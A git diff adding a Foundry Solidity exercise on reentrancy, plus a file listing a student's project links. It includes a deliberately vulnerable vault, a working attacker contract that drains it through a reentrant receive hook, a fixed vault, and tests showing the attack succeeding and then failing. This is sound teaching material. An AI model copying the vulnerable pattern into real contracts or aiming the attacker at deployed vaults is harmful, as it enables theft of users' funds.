diff --git a/13-04-26-test/.github/workflows/test.yml b/13-04-26-test/.github/workflows/test.yml new file mode 100644 index 00000000..b79c8d4f --- /dev/null +++ b/13-04-26-test/.github/workflows/test.yml @@ -0,0 +1,38 @@ +name: CI + +permissions: {} + +on: + push: + pull_request: + workflow_dispatch: + +env: + FOUNDRY_PROFILE: ci + +jobs: + check: + name: Foundry project + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + submodules: recursive + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + + - name: Show Forge version + run: forge --version + + - name: Run Forge fmt + run: forge fmt --check + + - name: Run Forge build + run: forge build --sizes + + - name: Run Forge tests + run: forge test -vvv diff --git a/13-04-26-test/.gitignore b/13-04-26-test/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/13-04-26-test/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/13-04-26-test/.gitmodules b/13-04-26-test/.gitmodules new file mode 100644 index 00000000..888d42dc --- /dev/null +++ b/13-04-26-test/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md new file mode 100644 index 00000000..8817d6ab --- /dev/null +++ b/13-04-26-test/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/13-04-26-test/foundry.lock b/13-04-26-test/foundry.lock new file mode 100644 index 00000000..bc06b89b --- /dev/null +++ b/13-04-26-test/foundry.lock @@ -0,0 +1,8 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + } +} \ No newline at end of file diff --git a/13-04-26-test/foundry.toml b/13-04-26-test/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/13-04-26-test/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/13-04-26-test/script/Counter.s.sol b/13-04-26-test/script/Counter.s.sol new file mode 100644 index 00000000..f01d69c3 --- /dev/null +++ b/13-04-26-test/script/Counter.s.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script} from "forge-std/Script.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterScript is Script { + Counter public counter; + + function setUp() public {} + + function run() public { + vm.startBroadcast(); + + counter = new Counter(); + + vm.stopBroadcast(); + } +} diff --git a/13-04-26-test/src/Attack.sol b/13-04-26-test/src/Attack.sol new file mode 100644 index 00000000..6816d365 --- /dev/null +++ b/13-04-26-test/src/Attack.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +interface AttackVault { + function deposit() external payable; + function withdraw(uint256 amount) external; +} + +contract Attacker { + AttackVault public vault; + + constructor(address _vault) { + vault = AttackVault(_vault); + } + + + function attack() external payable { + require(msg.value >= 1 ether, "Need at least 1 ETH"); + + vault.deposit{value: msg.value}(); + vault.withdraw(msg.value); + } + + receive() external payable { + if (address(vault).balance >= 1 ether) { + vault.withdraw(1 ether); + } + } +} \ No newline at end of file diff --git a/13-04-26-test/src/Counter.sol b/13-04-26-test/src/Counter.sol new file mode 100644 index 00000000..aded7997 --- /dev/null +++ b/13-04-26-test/src/Counter.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +contract Counter { + uint256 public number; + + function setNumber(uint256 newNumber) public { + number = newNumber; + } + + function increment() public { + number++; + } +} diff --git a/13-04-26-test/src/Fixer.sol b/13-04-26-test/src/Fixer.sol new file mode 100644 index 00000000..198e4255 --- /dev/null +++ b/13-04-26-test/src/Fixer.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +contract FixedVault { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + balances[msg.sender] -= amount; + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + } + +} \ No newline at end of file diff --git a/13-04-26-test/src/test.sol b/13-04-26-test/src/test.sol new file mode 100644 index 00000000..d938a93e --- /dev/null +++ b/13-04-26-test/src/test.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +contract BalanceVault { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; + } +} \ No newline at end of file diff --git a/13-04-26-test/test/Counter.t.sol b/13-04-26-test/test/Counter.t.sol new file mode 100644 index 00000000..48319108 --- /dev/null +++ b/13-04-26-test/test/Counter.t.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test} from "forge-std/Test.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterTest is Test { + Counter public counter; + + function setUp() public { + counter = new Counter(); + counter.setNumber(0); + } + + function test_Increment() public { + counter.increment(); + assertEq(counter.number(), 1); + } + + function testFuzz_SetNumber(uint256 x) public { + counter.setNumber(x); + assertEq(counter.number(), x); + } +} diff --git a/13-04-26-test/test/test.t.sol b/13-04-26-test/test/test.t.sol new file mode 100644 index 00000000..852e3333 --- /dev/null +++ b/13-04-26-test/test/test.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/test.sol"; +import "../src/Attack.sol"; +import "../src/Fixer.sol"; + +contract VaultTest is Test { + BalanceVault vault; + Attacker attacker; + FixedVault fixedVault; + + + address victim = address(1); + receive() external payable {} + function setUp() public { + vault = new BalanceVault(); + attacker = new Attacker(address(vault)); + fixedVault = new FixedVault(); + } + + + function testReentrancyAttack() public { + vm.deal(victim, 5 ether); + vm.prank(victim); + vault.deposit{value: 5 ether}(); + + vm.deal(address(attacker), 1 ether); + vm.prank(address(attacker)); + attacker.attack{value: 1 ether}(); + + assertEq(address(vault).balance, 0); + + assertGt(address(attacker).balance, 1 ether); + } + + function testAttackFailsAfterFix() public { + Attacker attacker2 = new Attacker(address(fixedVault)); + vm.deal(victim, 5 ether); + vm.prank(victim); + fixedVault.deposit{value: 5 ether}(); + + vm.deal(address(attacker2), 1 ether); + vm.prank(address(attacker2)); + vm.expectRevert(); // can specify message if desired + attacker2.attack{value: 1 ether}(); + + assertEq(address(fixedVault).balance, 5 ether); + } + + function testLegitWithdrawStillWorks() public { + address user = address(2); + + vm.deal(user, 2 ether); + + vm.startPrank(user); + fixedVault.deposit{value: 2 ether}(); + fixedVault.withdraw(1 ether); + vm.stopPrank(); + + assertEq(address(fixedVault).balance, 1 ether); +} +} diff --git a/Umar-Alhassan.md b/Umar-Alhassan.md new file mode 100644 index 00000000..cfbdf0a7 --- /dev/null +++ b/Umar-Alhassan.md @@ -0,0 +1,24 @@ +Escrow v1 +(https://github.com/Froshboss/escrow-V1) + +Escrow v2 +(https://github.com/Froshboss/escrow-V2) + +Transaction Vault +(https://github.com/Froshboss/timelock-contract) + +Crowd Funding +(https://github.com/Froshboss/crowdfunding) + +Auction +(https://github.com/Froshboss/auction) + +Freelancing +(https://github.com/Froshboss/freelancer) + +Article +(https://hackmd.io/@GhXpzopCT4GRIXOIrUHk6g/rkvSn9RrZg) + + + +